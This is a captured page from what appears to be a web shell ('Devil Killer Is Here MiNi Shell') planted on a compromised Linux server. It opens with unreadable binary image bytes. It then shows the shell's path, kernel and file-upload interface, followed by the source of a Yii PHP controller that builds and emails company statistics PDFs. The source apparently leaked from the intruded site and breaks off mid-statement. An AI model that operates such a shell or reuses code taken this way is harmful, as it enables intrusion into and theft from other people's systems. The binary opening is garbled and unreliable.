JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/backend/controllers/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/backend/controllers/CompaniesstatisticsController.php

<?php

namespace backend\controllers;

use Yii;
use common\models\Companies;
use common\models\PresentationsTabs;
use backend\models\CompanyStatisticsForm;
use backend\models\CompanyPresentationStatisticsForm;
use backend\models\ProductStatisticsForm;
use backend\models\ArticleStatisticsForm;
use backend\models\PromotedProductStatisticsForm;
use backend\models\CompanyPresentationPromotedStatisticsForm;
use backend\models\CompaniesContactDataStatisticsForm;
use common\models\ProductsVisits;
use common\models\CompaniesPresentationsVisits;
use common\models\CompaniesStatisticsReports;
use backend\models\SendCompanyStatisticsReportForm;
use yii\data\ActiveDataProvider;
use yii\web\Controller;
use yii\web\NotFoundHttpException;
use yii\web\ForbiddenHttpException;

class CompaniesstatisticsController extends Controller
{
    use \backend\components\traits\ControllerFunctions;

    protected $tempFilesPatches = [];
    protected $tempFilesCounter = 1;
    
    protected function addPartialFile($content, $idCompany, $dateStart, $dateEnd)
    {
        $tempFilePath = Yii::getAlias('@runtime')."/temp/company_statistics_".$idCompany."_".date('Y-m-d', strtotime($dateStart))."_".date('Y-m-d', strtotime($dateEnd)).'_'.$this->tempFilesCounter.".html";
        file_put_contents($tempFilePath, $content);
        $this->tempFilesPatches[] = $tempFilePath;
        unset($content);
        $this->tempFilesCounter++;
    }
    
    protected function createInquiriesStats($stats, $idCompany, $commonSettings)
    {
        if(empty($stats)) {
            return;
        }
        
        $content = $this->renderPartial('_statistics_inquiries', [
            'stats' => $stats,
        ]);
        
        $this->addPartialFile($content, $idCompany, $commonSettings['dateStart'], $commonSettings['dateEnd']);
        unset($content);
    }
    
    protected function createStats($view, $stats, $idCompany, $commonSettings, $operatorData, $companyInvoicingData, $modelsPortals)
    {
        if(empty($stats)) {
            return;
        }   
        
        foreach($stats as $idPortal => $dataSet) {            
            $content = $this->renderPartial($view, [
                'stats' => $dataSet, 
                'modelPortal' => $view !== '_statistics_companies_presentations_promoted_visits' ? $modelsPortals[$idPortal] : $modelsPortals[$dataSet['presentationIdPortal']],
                'companyInvoicingData' => $companyInvoicingData,
                'operatorData' => $operatorData,
                'commonSettings' => $commonSettings,
            ]);
            
            $this->addPartialFile($content, $idCompany, $commonSettings['dateStart'], $commonSettings['dateEnd']);
            unset($content);
        }
    }
    
//    protected function createContactDataStats($stats, $idCompany, $commonSettings, $operatorData, $companyInvoicingData, $modelsPortals)
//    {
//        if(empty($stats)) {
//            return;
//        }   
//        
//        foreach($stats as $idPortal => $dataSet) {            
//            $content = $this->renderPartial('_statistics_contact_data', [
//                'stats' => $dataSet, 
//                'modelPortal' => $modelsPortals[$idPortal],
//                'companyInvoicingData' => $companyInvoicingData,
//                'operatorData' => $operatorData,
//                'commonSettings' => $commonSettings,
//            ]);
//            
//            $this->addPartialFile($content, $idCompany, $commonSettings['dateStart'], $commonSettings['dateEnd']);
//            unset($content);
//        }
//    }
//    
//    protected function createPresentationsStats($stats, $idCompany, $commonSettings, $operatorData, $companyInvoicingData, $modelsPortals)
//    {
//        if(empty($stats)) {
//            return;
//        }  
//        
//        foreach($stats as $idPortal => $dataSet) {
//            $content = $this->renderPartial('_statistics_companies_presentations_visits', [
//                'stats' => $dataSet, 
//                'modelPortal' => $modelsPortals[$idPortal],
//                'companyInvoicingData' => $companyInvoicingData,
//                'operatorData' => $operatorData,
//                'commonSettings' => $commonSettings,
//            ]);
//            
//            $this->addPartialFile($content, $idCompany, $commonSettings['dateStart'], $commonSettings['dateEnd']);
//            unset($content);
//        }
//    }
//    
//    protected function createPresentationsPromotedStats($stats, $idCompany, $commonSettings, $operatorData, $companyInvoicingData, $modelsPortals)
//    {
//        if(empty($stats)) {
//            return;
//        }  
//        
//        foreach($stats as $idPresentation => $dataSet) {
//            $content = $this->renderPartial('_statistics_companies_presentations_promoted_visits', [
//                'stats' => $dataSet,
//                'modelPortal' => $modelsPortals[$dataSet['presentationIdPortal']],                
//                'companyInvoicingData' => $companyInvoicingData,
//                'operatorData' => $operatorData,
//                'commonSettings' => $commonSettings,                
//            ]);
//            
//            $this->addPartialFile($content, $idCompany, $commonSettings['dateStart'], $commonSettings['dateEnd']);
//            unset($content);
//        }
//    }
//    
//    protected function createProductsStats($stats, $idCompany, $commonSettings, $operatorData, $companyInvoicingData, $modelsPortals)
//    {
//        if(empty($stats)) {
//            return;
//        }  
//        
//        foreach($stats as $idPortal => $dataSet) {
//            $content = $this->renderPartial('_statistics_products_visits', [
//                'stats' => $dataSet, 
//                'modelPortal' => $modelsPortals[$idPortal],
//                'companyInvoicingData' => $companyInvoicingData,
//                'operatorData' => $operatorData,
//                'commonSettings' => $commonSettings,            
//            ]);
//            
//            $this->addPartialFile($content, $idCompany, $commonSettings['dateStart'], $commonSettings['dateEnd']);
//            unset($content);
//        }
//    }
//    
//    protected function createProductsPromotedStats($stats, $idCompany, $commonSettings, $operatorData, $companyInvoicingData, $modelsPortals)
//    {
//        if(empty($stats)) {
//            return;
//        }  
//        
//        foreach($stats as $idPortal => $dataSet) {
//            $content = $this->renderPartial('_statistics_promoted_products_visits', [
//                'stats' => $dataSet, 
//                'modelPortal' => $modelsPortals[$idPortal],
//                'companyInvoicingData' => $companyInvoicingData,
//                'operatorData' => $operatorData,
//                'commonSettings' => $commonSettings
//            ]);
//            
//            $this->addPartialFile($content, $idCompany, $commonSettings['dateStart'], $commonSettings['dateEnd']);
//            unset($content);
//        }
//    }
//    
//    protected function createArticlesStats($stats, $idCompany, $commonSettings, $operatorData, $companyInvoicingData, $modelsPortals)
//    {
//        if(empty($stats)) {
//            return;
//        }  
//        
//        foreach($stats as $idPortal => $dataSet) {
//            $content = $this->renderPartial('_statistics_articles_visits', [
//                'stats' => $dataSet, 
//                'modelPortal' => $modelsPortals[$idPortal],
//                'companyInvoicingData' => $companyInvoicingData,
//                'operatorData' => $operatorData,
//                'commonSettings' => $commonSettings
//            ]);
//            
//            $this->addPartialFile($content, $idCompany, $commonSettings['dateStart'], $commonSettings['dateEnd']);
//            unset($content);
//        }
//    }
    
    public function actionReports($id)
    {
        $modelCompany = $this->findModel($id);
        
        if(!Yii::$app->user->can('viewCompaniesStatistics', ['model' => $modelCompany])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        } 
        
        $dataProvider = new ActiveDataProvider([
            'query' => CompaniesStatisticsReports::find()->where(['id_company' => $modelCompany->id_company])->orderBy('created_at'),
            'pagination' => [
                'defaultPageSize' => 25
            ],
            'sort' => false,
        ]);
        
        $outputParams = [
            'modelCompany' => $modelCompany,
            'dataProvider' => $dataProvider
        ];
        
        return $this->render('reports', $outputParams);
    }
    
    public function actionGetReport($id)
    {
        $modelCompanyStatisticsReport = CompaniesStatisticsReports::findOne($id);
        if($modelCompanyStatisticsReport === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $modelCompany = $this->findModel($modelCompanyStatisticsReport->id_company);
        
        if(!Yii::$app->user->can('viewCompaniesStatistics', ['model' => $modelCompany])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        } 
        
        $targetFilePath = $this->generatePdfStatisticsFromReport($modelCompanyStatisticsReport, $modelCompany);
        if($targetFilePath === false) {
            return $this->redirect(['companiesstatistics/reports', 'id' => $modelCompany->id_company]); 
        }

        $response = Yii::$app->getResponse();
        $response->setDownloadHeaders(basename($targetFilePath), 'application/pdf');
        $response->sendFile($targetFilePath);
        $response->send();

        @unlink($targetFilePath);
    }
    
    protected function generatePdfStatisticsFromReport($modelReport, $modelCompany)
    {
        $commonSettings = $modelReport->settings;
        $companyInvoicingData = $modelReport->company_invoicing_data;
        $operatorData = $modelReport->operator_data;
        $modelsPortals = \common\models\Portals::find()->where(['id_portal' => $commonSettings['listPortals']])->indexBy('id_portal')->all();
        
        if(intval($commonSettings['orInquiries']) === 1) {
            $this->createInquiriesStats($modelReport->inquiries_stats, $modelCompany->id_company, $commonSettings);
        } 

        if(intval($commonSettings['orContactData']) === 1) {
            $this->createStats('_statistics_contact_data', $modelReport->contact_data_stats, $modelCompany->id_company, $commonSettings, $operatorData, $companyInvoicingData, $modelsPortals);                
        } 

        if(intval($commonSettings['orPresentations']) === 1) {  
            $this->createStats('_statistics_companies_presentations_visits', $modelReport->presentations_stats, $modelCompany->id_company, $commonSettings, $operatorData, $companyInvoicingData, $modelsPortals);                                    
        }

        if(intval($commonSettings['orPromotedPresentations']) === 1) {
            $this->createStats('_statistics_companies_presentations_promoted_visits', $modelReport->presentations_promoted_stats, $modelCompany->id_company, $commonSettings, $operatorData, $companyInvoicingData, $modelsPortals); 
        }

        if(intval($commonSettings['orProducts']) === 1) {
            $this->createStats('_statistics_products_visits', $modelReport->products_stats, $modelCompany->id_company, $commonSettings, $operatorData, $companyInvoicingData, $modelsPortals); 
        }

        if(intval($commonSettings['orPromotedProducts']) === 1) {        
            $this->createStats('_statistics_promoted_products_visits', $modelReport->products_promoted_stats, $modelCompany->id_company, $commonSettings, $operatorData, $companyInvoicingData, $modelsPortals);                     
        }
        
        if(intval($commonSettings['orArticles']) === 1) {
            $this->createStats('_statistics_articles_visits', $modelReport->articles_stats, $modelCompany->id_company, $commonSettings, $operatorData, $companyInvoicingData, $modelsPortals); 
        }

        if(empty($this->tempFilesPatches)) {
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.'));
            return false;
        }

        $dateStart = $modelReport->date_start->toDateTime()->setTimezone(new \DateTimeZone(date_default_timezone_get()))->format('Y-m-d');
        $dateEnd = $modelReport->date_end->toDateTime()->setTimezone(new \DateTimeZone(date_default_timezone_get()))->format('Y-m-d');
        
        $targetFilePath = Yii::getAlias('@runtime')."/temp/company_statistics_".$modelCompany->id_company."_".$dateStart."_".$dateEnd.".pdf";
//        $output = \common\components\helpers\Wkhtmltopdf::save(implode(' ', array_map(function($item) { return 'file:///'.$item; }, $this->tempFilesPatches)), $targetFilePath, '-T 8 -B 8 -L 8 -R 8');    
        $output = \common\components\helpers\PuppeteerHtmlToPdf::save(implode('|', array_map(function($item) { return 'file:///'.$item; }, $this->tempFilesPatches)), $targetFilePath, '-T=31 -B=31 -L=31 -R=31');  
        if($output['return'] !== 0) {
            foreach($this->tempFilesPatches as $tempFilePath) {
                @unlink($tempFilePath);
            }
            @unlink($targetFilePath);
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas generowania pliku PDF.'));
            return false;       
        }
        
        foreach($this->tempFilesPatches as $tempFilePath) {
            @unlink($tempFilePath);
        }
        
        return $targetFilePath;
    }
    
    public function actionDeleteReport($id)
    {
        if(!Yii::$app->user->can('deleteCompaniesStatistics')) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $model = CompaniesStatisticsReports::findOne($id);
        if($model === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $idCompany = $model->id_company;
        
        if ($model->delete() !== false) {
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie usunięto dane.'));             
        } else {
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas usuwania danych.'));
        }

        return $this->redirect(['reports', 'id' => $idCompany]);
    }
    
    public function actionSendReport($id)
    {         
        $modelReport = CompaniesStatisticsReports::findOne($id);
        if($modelReport === null) {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
        
        $modelCompany = $this->findModel($modelReport->id_company);
        
        if(!Yii::$app->user->can('viewCompaniesStatistics', ['model' => $modelCompany])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
                
        $modelForm = new SendCompanyStatisticsReportForm();
        
        $outputParams = [
            'modelReport' => $modelReport,
            'modelCompany' => $modelCompany,
            'modelForm' => $modelForm,
        ];
        
        if (Yii::$app->request->isAjax && !Yii::$app->request->isPjax && $modelForm->load(Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($modelForm, ['id_operator']);
        }
        
        if(Yii::$app->request->getIsPost()) {  
            if(!$modelForm->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->conditionalRender('send_report', $outputParams);
            }
            
            if(!$modelForm->validate()) {
                Yii::$app->session->addFlash('error', $modelForm->getErrors());
                return $this->conditionalRender('send_report', $outputParams);
            }        
                        
            $modelOperatorRecipient = \common\models\Users::find()
                ->select(['id_user', 'forename', 'surname'])
                ->with([
                    'contactData' => function($q) {
                        $q->where([
                            'required' => 1,
                            'data_type' => \common\models\types\ContactDataType::EMAIL
                        ]);
                    }
                ])
                ->where(['id_user' => $modelForm->id_operator])
                ->one();
            
            $targetFilePath = $this->generatePdfStatisticsFromReport($modelReport, $modelCompany);
            if($targetFilePath === false) {
                return $this->redirect(['companiesstatistics/reports', 'id' => $modelCompany->id_company]); 
            }
            
            $operatorRecipientEmail = $modelOperatorRecipient->contactData[0]->data_value;

            //wysyłamy mail z raportem statystyk firmy (###MAIL_67###) 
            $mailer = Yii::$app->mailer;
            $mailer->htmlLayout = 'layouts/main-html';      
            $mailer->textLayout = 'layouts/main-text';           
            $flag = $mailer->compose(
                    [
                        'html' => 'send_company_statistics_report_html',
                        'text' => 'send_company_statistics_report_text'
                    ],
                    [
                        'modelCompany' => $modelCompany,
                        'modelReport' => $modelReport,
                        'annotations' => $modelForm->annotations,
                    ]
                )
                ->setFrom([Yii::$app->params['noReplyEmail'] => 'System vManager'])
                ->setTo($operatorRecipientEmail)
                ->setSubject(Yii::t('common-mails', 'Raport ze statystykami firmy {companyName}', ['companyName' => $modelCompany->name]))
                ->attach($targetFilePath)
                ->send();
            
            if($flag) {    
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Wiadomość została wysłana.')); 
            } else {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas wysyłania wiadomości.'));                
            }
            
            @unlink($targetFilePath); 
        }
       
        return $this->conditionalRender('send_report', $outputParams);
    }
    
    public function actionIndex($id)
    {
        $modelCompany = $this->findModel($id);
        
        if(!Yii::$app->user->can('viewCompaniesStatistics', ['model' => $modelCompany])) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        } 
        
        $modelCompanyStatisticsForm = new CompanyStatisticsForm();
        $modelCompanyStatisticsForm->dateStart = (new \DateTime())->modify('-1 year')->format('Y-m-d');
        $modelCompanyStatisticsForm->dateEnd = date('Y-m-d');
        $modelCompanyStatisticsForm->reportDatetime = date('Y-m-d H:i');
        $modelCompanyStatisticsForm->orInquiries = 0;
        $modelCompanyStatisticsForm->inquiriesOrChart = 0;
        $modelCompanyStatisticsForm->inquiriesOrIncludeDetails = 0;
        $modelCompanyStatisticsForm->orContactData = 1;
        
        $modelsPresentationStatisticsForms = []; 
        $modelsProductsStatisticsForms = []; 
        $modelsPromotedProductsStatisticsForms = [];
        $modelsArticlesStatisticsForms = [];
        $modelsPresentationsPromotedStatisticsForms = [];
        $modelsContactDataStatisticsForms = [];
        $modelsPortals = [];
        $presentationsToPortalsMap = [];
        if(!Yii::$app->request->isAjax && Yii::$app->request->getIsPost() && $modelCompanyStatisticsForm->load(Yii::$app->request->post()) && !empty($modelCompanyStatisticsForm->listPortals)) {            
            $idsPortalsForPresentationsStatistics = [];
            if(intval($modelCompanyStatisticsForm->orPresentations) === 1) {
                $postCompanyPresentationStatisticsForm = Yii::$app->request->post('CompanyPresentationStatisticsForm', []);
                $idsPortalsForPresentationsStatistics = array_map('intval', array_keys($postCompanyPresentationStatisticsForm));
            }
            
            $modelsPortals = \common\models\Portals::find()->where(['id_portal' => $modelCompanyStatisticsForm->listPortals])->indexBy('id_portal')->all();                                
            
            $modelsPresentations = $modelCompany->getPresentations()
                    ->joinWith('portal')
                    ->where(['companies_presentations.id_portal' => $modelCompanyStatisticsForm->listPortals])
                    ->orderBy('portals.domain ASC')
                    ->indexBy('id_portal')
                    ->all();        
            if(!empty($modelsPresentations)) {
                foreach($modelsPresentations as $idPortal => $modelPresentation) {
                    $presentationsToPortalsMap[$modelPresentation->id_presentation] = $idPortal;
                    if(intval($modelCompanyStatisticsForm->orPresentations) === 1) {
                        $modelsPresentationStatisticsForms[$idPortal] = new CompanyPresentationStatisticsForm();
                        $modelsPresentationStatisticsForms[$idPortal]->setModelPresentation($modelPresentation);
                    }
                }
                if(intval($modelCompanyStatisticsForm->orPresentations) === 1) {
                    $this->getStatsForPresentationsNew($modelCompanyStatisticsForm, $modelsPresentationStatisticsForms);
                }
            }             
            
            $idsPostDataForCompanyPresentationPromotedStatistics = [];
            if(intval($modelCompanyStatisticsForm->orPromotedPresentations) === 1) {
                $postCompanyPresentationPromotedStatisticsForm = Yii::$app->request->post('CompanyPresentationPromotedStatisticsForm', []);
                $idsPostDataForCompanyPresentationPromotedStatistics = array_keys($postCompanyPresentationPromotedStatisticsForm);
                
                if(!empty($modelsPresentations)) {
                    foreach($modelsPresentations as $idPortal => $modelPresentation) {
                        $modelsPresentationsPromotedStatisticsForms[$modelPresentation->id_presentation] = new CompanyPresentationPromotedStatisticsForm();
                        $modelsPresentationsPromotedStatisticsForms[$modelPresentation->id_presentation]->setModelPresentation($modelPresentation);
                    }
                }
                $this->getStatsForPresentationsPromotedNew($modelCompanyStatisticsForm, $modelsPresentationsPromotedStatisticsForms);
            }            
            
            $contactDataStats = [];
            if(intval($modelCompanyStatisticsForm->orContactData) === 1) {
                $contactDataStats = $this->getStatsForContactDataViews($modelCompany, $modelCompanyStatisticsForm, $modelsPresentations);            
                
                $postCompaniesContactDataStatisticsForm = Yii::$app->request->post('CompaniesContactDataStatisticsForm', []);
                $idsPostDataForContactDataStatistics = array_keys($postCompaniesContactDataStatisticsForm);
            
                if(!empty($contactDataStats)) {
                    foreach($contactDataStats as $idPortal => $data) {
                        foreach($data as $typeAndValue => $viewsNumber) {
                            $hash = $idPortal.'_'.$typeAndValue;
                            $modelsContactDataStatisticsForms[$hash] = new CompaniesContactDataStatisticsForm();
                            $modelsContactDataStatisticsForms[$hash]->setContactData($typeAndValue);
                            $modelsContactDataStatisticsForms[$hash]->totalVisits = (int)$viewsNumber;
                        }
                    }
                }
            } 
            
            $idsPostDataForProductStatistics = [];
            if(intval($modelCompanyStatisticsForm->orProducts) === 1) {
                $postProductStatisticsForm = Yii::$app->request->post('ProductStatisticsForm', []);
                $idsPostDataForProductStatistics = array_keys($postProductStatisticsForm);
                
                $modelsPresentationsHasProducts = \common\models\CompaniesPresentationsHasProducts::find()
                    ->join('INNER JOIN', 'companies_presentations', 'companies_presentations.id_presentation = companies_presentations_has_products.id_presentation')
                    ->with(['product', 'presentation'])
                    ->where([
                        'companies_presentations.id_company' => $modelCompany->id_company,
                        'companies_presentations.id_portal' => $modelCompanyStatisticsForm->listPortals
                    ])
                    ->orderBy('companies_presentations_has_products.id_product ASC')
                    ->all();
            
                if(!empty($modelsPresentationsHasProducts)) {
                    foreach($modelsPresentationsHasProducts as $modelPresentationHasProduct) {
                        $hash = $modelPresentationHasProduct->id_product.'_'.$modelPresentationHasProduct->presentation->id_portal;
                        $modelsProductsStatisticsForms[$hash] = new ProductStatisticsForm();
                        $modelsProductsStatisticsForms[$hash]->setModelProduct($modelPresentationHasProduct->product);
//                        $modelsProductsStatisticsForms[$hash]->idPortal = $modelPresentationHasProduct->presentation->id_portal;
                    }
                }
                $this->getStatsForProductsNew($modelCompanyStatisticsForm, $modelsProductsStatisticsForms);
            }            
            
            $idsPostDataForPromotedProductStatistics = [];
            if(intval($modelCompanyStatisticsForm->orPromotedProducts) === 1) {    
                $postPromotedProductStatisticsForm = Yii::$app->request->post('PromotedProductStatisticsForm', []);
                $idsPostDataForPromotedProductStatistics = array_keys($postPromotedProductStatisticsForm);
                
                $modelsProducts = \common\models\Products::find()
                        ->where([
                            'products.id_company' => $modelCompany->id_company
                        ])
                        ->orderBy('products.id_product')
                        ->all();
                
                if(!empty($modelsProducts)) {
                    foreach($modelsPortals as $modelPortal) {
                        foreach($modelsProducts as $modelProduct) { 
                            $hash = $modelProduct->id_product.'_'.$modelPortal->id_portal;                        
                            if(!isset($modelsPromotedProductsStatisticsForms[$hash])) {
                                $modelsPromotedProductsStatisticsForms[$hash] = new PromotedProductStatisticsForm();
                                $modelsPromotedProductsStatisticsForms[$hash]->setModelProduct($modelProduct);
                            }
                        }
                    }
                }
                $this->getStatsForPromotedProductsNew($modelCompanyStatisticsForm, $modelsPromotedProductsStatisticsForms);
                $this->removeEmptyPromotedProducts($modelsPromotedProductsStatisticsForms);                
            }            
            
            $idsPostDataForArticleStatistics = [];
            if(intval($modelCompanyStatisticsForm->orArticles) === 1) {
                $postArticleStatisticsForm = Yii::$app->request->post('ArticleStatisticsForm', []);
                $idsPostDataForArticleStatistics = array_keys($postArticleStatisticsForm);
                
                $modelsArticlesHasPortals = \common\models\ArticlesHasPortals::find()
                    ->join('INNER JOIN', 'articles', 'articles_has_portals.id_article = articles.id_article')
                    ->with(['article'])
                    ->where([
                        'articles.id_company' => $modelCompany->id_company,
                        'articles_has_portals.id_portal' => $modelCompanyStatisticsForm->listPortals
                    ])
                    ->orderBy('articles_has_portals.id_article ASC')
                    ->all();
            
                if(!empty($modelsArticlesHasPortals)) {
                    foreach($modelsArticlesHasPortals as $modelArticleHasPortal) {
                        $hash = $modelArticleHasPortal->id_article.'_'.$modelArticleHasPortal->id_portal;
                        $modelsArticlesStatisticsForms[$hash] = new ArticleStatisticsForm();
                        $modelsArticlesStatisticsForms[$hash]->setModelArticle($modelArticleHasPortal->article);
                        $modelsArticlesStatisticsForms[$hash]->totalVisits = (int)$modelArticleHasPortal->article->views_number;
                        $modelsArticlesStatisticsForms[$hash]->orSelected = 1;
                    }
                }
            }
        }
        
        $companiesCategoriesPathes = $this->getCategoriesPathesForPromoted('\common\models\CompaniesCategories', $modelsPresentationsPromotedStatisticsForms);
        $productsCategoriesPathes = $this->getCategoriesPathesForPromoted('\common\models\ProductsCategories', $modelsPromotedProductsStatisticsForms);

        $outputParams = [
            'modelCompanyStatisticsForm' => $modelCompanyStatisticsForm,
            'modelsPresentationStatisticsForms' => $modelsPresentationStatisticsForms,
            'modelsProductsStatisticsForms' => $modelsProductsStatisticsForms,
            'modelsPromotedProductsStatisticsForms' => $modelsPromotedProductsStatisticsForms,
            'modelsPresentationsPromotedStatisticsForms' => $modelsPresentationsPromotedStatisticsForms,
            'modelsArticlesStatisticsForms' => $modelsArticlesStatisticsForms,
            'modelsContactDataStatisticsForms' => $modelsContactDataStatisticsForms,
            'modelCompany' => $modelCompany,
            'modelsPortals' => $modelsPortals,
            'companiesCategoriesPathes' => $companiesCategoriesPathes,
            'productsCategoriesPathes' => $productsCategoriesPathes
        ];
        
        if(
            Yii::$app->request->isAjax && !Yii::$app->request->isPjax && $modelCompanyStatisticsForm->load(Yii::$app->request->post()) 
            && (empty($idsPortalsForPresentationsStatistics) || \yii\base\Model::loadMultiple($modelsPresentationStatisticsForms, Yii::$app->request->post())) 
            && (empty($idsPostDataForProductStatistics) || \yii\base\Model::loadMultiple($modelsProductsStatisticsForms, Yii::$app->request->post())) 
            && (empty($idsPostDataForPromotedProductStatistics) || \yii\base\Model::loadMultiple($modelsPromotedProductsStatisticsForms, Yii::$app->request->post())) 
            && (empty($idsPostDataForCompanyPresentationPromotedStatistics) || \yii\base\Model::loadMultiple($modelsPresentationsPromotedStatisticsForms, Yii::$app->request->post()))
            && (empty($idsPostDataForArticleStatistics) || \yii\base\Model::loadMultiple($modelsArticlesStatisticsForms, Yii::$app->request->post())) 
            && (empty($idsPostDataForContactDataStatistics) || \yii\base\Model::loadMultiple($modelsContactDataStatisticsForms, Yii::$app->request->post())) 
        ) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return array_merge(
                \yii\bootstrap\ActiveForm::validate($modelCompanyStatisticsForm, ['dateStart', 'dateEnd', 'listPortals', 'idOperator']), 
